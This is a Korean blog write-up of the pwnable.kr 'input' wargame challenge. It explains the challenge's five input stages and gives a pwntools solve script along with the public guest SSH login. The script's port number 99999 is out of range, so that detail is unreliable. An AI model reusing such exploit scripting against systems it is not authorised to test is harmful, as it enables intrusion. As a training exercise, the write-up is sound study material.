1. 문제확인
Mom? how can I pass my input to a computer program?
ssh input2@pwnable.kr -p2222 (pw:guest)
엄마~ 프로그램에 어떻게 내 입력이 통과 할 수 있어여? 하고 물어보고있어여
엄마는 아니지만 문제를 한번 봅시댱
2. 문제 코드 분석
2-1) main()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> int main(int argc, char* argv[], char* envp[]){ printf("Welcome to pwnable.kr\n"); printf("Let's see if you know how to give input to program\n"); printf("Just give me correct inputs then you will get the flag :)\n"); // argv if(argc != 100) return 0; if(strcmp(argv['A'],"\x00")) return 0; if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0; printf("Stage 1 clear!\n"); // stdio char buf[4]; read(0, buf, 4); if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0; read(2, buf, 4); if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0; printf("Stage 2 clear!\n"); // env if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0; printf("Stage 3 clear!\n"); // file FILE* fp = fopen("\x0a", "r"); if(!fp) return 0; if( fread(buf, 4, 1, fp)!=1 ) return 0; if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0; fclose(fp); printf("Stage 4 clear!\n"); // network int sd, cd; struct sockaddr_in saddr, caddr; sd = socket(AF_INET, SOCK_STREAM, 0); if(sd == -1){ printf("socket error, tell admin\n"); return 0; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv['C']) ); if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ printf("bind error, use another port\n"); return 1; } listen(sd, 1); int c = sizeof(struct sockaddr_in); cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c); if(cd < 0){ printf("accept error, tell admin\n"); return 0; } if( recv(cd, buf, 4, 0) != 4 ) return 0; if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0; printf("Stage 5 clear!\n"); // here's your flag system("/bin/cat flag"); return 0; } |
이번 문제는 메인함수밖에 없는데 지금까지 본 것들이랑 비교해서 더럽게 길었어여 ㅠㅠ
구성을 보니까 이번 문제를 풀려면 다섯가지 스테이지를 풀어야하는거 같네여
각 스테이지 별로 물어보는 항목을 정리하면!
1번 Stage는 프로그램 실행할 때 인자가 어떻게 들어가는지를 알고있냐?
2번 Stage는 pwnable.kr fd문제처럼 file descriptor번호 알아?
3번 Stage는 프로그램 실행할 때 환경변수 줄 수 있냐?
4번 Stage는 프로그래밍으로 파일 핸들링할 수 있음?
5번 Stage는 소켓 통신 할 줄 암?
소스가 길어서 한번에 보기 힘드니까 스테이지 별로 짤라서 볼께여 ㄱㄱ
2-1) Stage 1
1 2 3 4 5 6 7 8 9 | int main(int argc, char* argv[], char* envp[]){ // argv if(argc != 100) return 0; if(strcmp(argv['A'],"\x00")) return 0; if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0; printf("Stage 1 clear!\n"); return 0; } |
argc에는 ./input 과 같은 실행명령어를 포함해서 인자의 갯수가 들어있어여
argv는 char *형 배열인데, 인자가 각각 들어있고여, 가장 첫 번째에는 실행명령어가 들어있어여
예를 들어서 ./input aaa bbb 라고 실행을 하면
argc == 3
argv[0] == "./input"
argv[1] == "aaa"
argv[2] == "bbb" 가 되겠져?!
envp에는 프로그램을 실행할 때 로드하는 환경변수들이 들어있는데 얘는 카운트를 가지고있지를 않아여ㅠ
대신 배열요소의 끝검사를 NULL로하면 하나씩 다 뿌려볼 수 있답니당
여하튼!
스테이지 1번을 풀려면 argc의 갯수를 100개로 맞추면서 argv['A'] 그러니까 argv[65]번째 인자엔 \x00이 있어야하고
argv[66]에는 \x20\x0a\x0d가 있으면 클리어 할 수 있을꺼에여 어렵지 않져?
2-1) Stage 2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | int main(int argc, char* argv[], char* envp[]){ // stdio char buf[4]; read(0, buf, 4); if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0; read(2, buf, 4); if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0; printf("Stage 2 clear!\n"); return 0; } |
스테이지 2를 풀려면 read함수랑 파일디스크립터 번호를 알아야되여 ㅠㅠ
read함수 원형은
1 | ssize_t read(int fd, void *buf, size_t nbytes); |
요렇게 생긴놈입니당! 리턴타입 ssize_t는 size_t는 우선은 그냥 int형으로 생각하고 푸셔도
문제푸는데에는 지장이 없어영 하지만! 자세히 알고싶으시다면 아래 링크를 한번 살펴보세욥
당연하지만 간과하는 size_t ssize_t
- http://lacti.me/2011/01/08/different-between-size-t-ssize-t/
read는 파일디스크립터 번호를 받아서 지정한 바이트만큼 버퍼에 읽어오는 함수에여
여기서 예약되어있는 파일디스크립터 넘버를 몇 개 살펴보쟈규여
0 : stdin
1 : stdout
2 : stderr
얘네들을 이용하면 콘솔 I/O랑 에러났을 때 발생 한 값들을 read 할 수 있을거에여
문제에서는 0번이랑 2번 썼으니까 입력 / 에러발생에서 4바이트씩 읽어오겠져!
2-4) Stage 3
1 2 3 4 5 6 7 8 | int main(int argc, char* argv[], char* envp[]){ // env if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0; printf("Stage 3 clear!\n"); return 0; } |
스테이지3은 환경변수에 \xde\xad\xbe\xef항목에 \xca\xfe\xba\xbe값만 셋팅해주면 문제가 없어보여여
2-5) Stage 4
1 2 3 4 5 6 7 8 9 10 11 12 13 | int main(int argc, char* argv[], char* envp[]){ // file FILE* fp = fopen("\x0a", "r"); if(!fp) return 0; if( fread(buf, 4, 1, fp)!=1 ) return 0; if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0; fclose(fp); printf("Stage 4 clear!\n"); return 0; } |
스테이지 4는 파일을 열어서 맨앞에서 네바이트를 읽고 \x00\x00\x00\x00값인지 체크하고있는데
파일이름이 \x0a에여 ㅠㅠ 콘솔에서 만들순 엄꾸.. fopen같은 함수를 써서 만들어줘야겠어여
2-6) Stage 5
드뎌 마지막 스테이지 5를 봅시당
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | int main(int argc, char* argv[], char* envp[]){ // network int sd, cd; struct sockaddr_in saddr, caddr; sd = socket(AF_INET, SOCK_STREAM, 0); if(sd == -1){ printf("socket error, tell admin\n"); return 0; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv['C']) ); if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ printf("bind error, use another port\n"); return 1; } listen(sd, 1); int c = sizeof(struct sockaddr_in); cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c); if(cd < 0){ printf("accept error, tell admin\n"); return 0; } if( recv(cd, buf, 4, 0) != 4 ) return 0; if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0; printf("Stage 5 clear!\n"); return 0; } |
어휴; 뭐 땀시 이렇게 소스가 길었나 했더니 스테이지 5때문이네여;;
하나하나 다 뜯어보고 설명하면 좋지만 양이 넘나 많네여 ㅠ 잘 모르시거나 생소하신 분들은 링크 걸어드릴게여
[소켓]3. 함수와 구조체 설명!
http://rotapple.tistory.com/8
흐름만 간략히 파악하고 가면 실행할 때 던져주는 인자 중에 argv['C'] 요놈 그러니까 argv[67] 에 있는 값을 포트로해서
소켓을 열꺼에여 그리구 그 소켓에서 네 바이트를 받아서 \xde\xad\xbe\xef값이 들어오면 클리어!
3. 익스플로잇 코드
이번 문제를 풀려면 간단한 입력만으로는 안끝나여 ㅠㅠ
파일을 핸들링하거나 소켓으로 데이터를 쏘거나 해야해서 짧게나마 코드를 작성해서 풀어야할꺼에여
이 문제 푸신 분들이 거의 c로 작성해서 푸셨더라고여? 그래서 저는 파이썬으로 도전해보려고 쌩파이썬으로 도전했는데
생각보다 너무 안풀리고 의도랑 다르게 돌아가는 바람에 ㅠ
파이썬으로 짠 코드를 컨닝하려고 하는 도중!! pwntools라는 걸 알게됐어여
기능이 무궁무진한거 같긴한데 이번 포스팅에서 한번에 다룰순 없을거 같고 요번에 쓴거 위주로만 썰풀어볼게여
일단 결과코드부터 ㄱㄱ
아 코드는 이 분 블로그를 참조했어여!
http://gmltnscv.tistory.com/27
그리구 문제풀려고 서버에 접속하면 홈디렉터리에서는 코드를 작성할 수가 없어여 ㅠㅠ
/tmp 아래에 자기 폴더를 하나 뙇 만들어주고 작업을 하시면 됩니당
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | from pwn import * argvs = [str(i) for i in range(100)] argvs[ord('A')] = '\x00' argvs[ord('B')] = '\x20\x0a\x0d' with open('./stderr_file', 'a') as f: f.write('\x00\x0a\x02\xff') envVal = {'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'} with open('./\x0a', 'a') as f: f.write('\x00\x00\x00\x00') argvs[ord('C')] = '99999' target = process(executable='/home/input2/input', argv=argvs, stderr=open('./stderr_file'), env=envVal) target.sendline('\x00\x0a\x00\xff') conn = remote('localhost', 99999) conn.send('\xde\xad\xbe\xef') target.interactive() |
첫 번째 줄 from pwn import * 에서 pwntools를 임포트하고이써여 물론! 임포트하려면 설치를 해야겠져?
설치 방법은
apt-get install python2.7 python2.7-dev python-pip
pip install pwntools
apt-get install libcapstone-dev
뙇 치면 설치가 뙇!! 후하
별 이상 없이 설치가 되셨다면 뒷부분 이어서 ㄱㄱ할게여
3 ~ 5라인은 스테이지 1번을 위한 부분이에여
3라인에서 argvs를 선언해서 0부터 99까지 문자열로 만들었어여
4, 5라인에서는 ord()함수를 통해서 문자를 정수형으로 바꿔준담에 스테이지1에서 원하는 값들로 값들을 바꿔줬지영
7~8라인은 스테이지 2를 풀기위한 부분이에여 stderr_file이라는 파일을 만들어서 문제에서 요하는(stderr일 때)값을 썼어여
with 문을 써서 열면 따로 닫아줄 필요가 없다는 사실!
18라인에서 stdin을 해주려고 sendline을 써서 값을 넣어줬어여
10라인에 envVal은 환경 변수를 선언했어여 이따가 실행할 때 넘겨주면 뙇! 하고 스테이지 3을 풀 수 있어여
12 ~ 13라인은 스테이지 4에서 파일 열어서 값읽어보는거 있었짜나여? 그거 때매 같은이름으로 파일 열어서 값써준검미다.
15 라인에서 어디 포트로 쏠껀지 인자에 포트번호 써준 담에
20라인에서 연결하고!
21라인에서 값을 뙇 하고 쏴줌으로써 스테이지 5도 해결이되지욥
17라인이 이 모든 셋팅을 마치고 실행하는 부분이에여 executable에서 실행할 바이너리 주소, argv에 전달할 인자,
stderr에서 stderr일 때 할 행위가 들어가있고, 환경변수까지 전달을 해줬어여
다 작성을 마치고 기쁜마음으로 뙇 돌리면!!!!
안나와여 플래그가 ㅠㅠㅠㅠㅠ
아 읽어줄 플래그가 엄꾸나! 근데.... 퍼미션때매 카피도안되고ㅠㅠ..
그래서 심볼릭 링크를 걸어줍니다 헤헷
그리고 다시 한번 돌리면!!
뙇 하고 성공했어여ㅋㅋ
이번 문제는 요구하는 것들이 어렵지는 않았는데 익스플로잇코드를 처음 짜본..터라 쉽지는 않았던거 같아여 ㅠㅠ
그래도 덕분에 pwntools라는 툴도 알게됐으니~~ 다음부턴 아주 요긴하게 써먹어야겠쯥니당 ! 이상!
'Study > Pwnable' 카테고리의 다른 글
[HITCON Training] lab4 / return to library (0) | 2017.11.29 |
---|---|
[HITCON Training] lab2 / shellcraft (0) | 2017.11.28 |
NX(No eXcutable) / ROP (1) | 2017.09.29 |
pwnable.kr passcode (5) | 2017.07.31 |
PEDA / pwnable.kr bof문제 (0) | 2017.07.12 |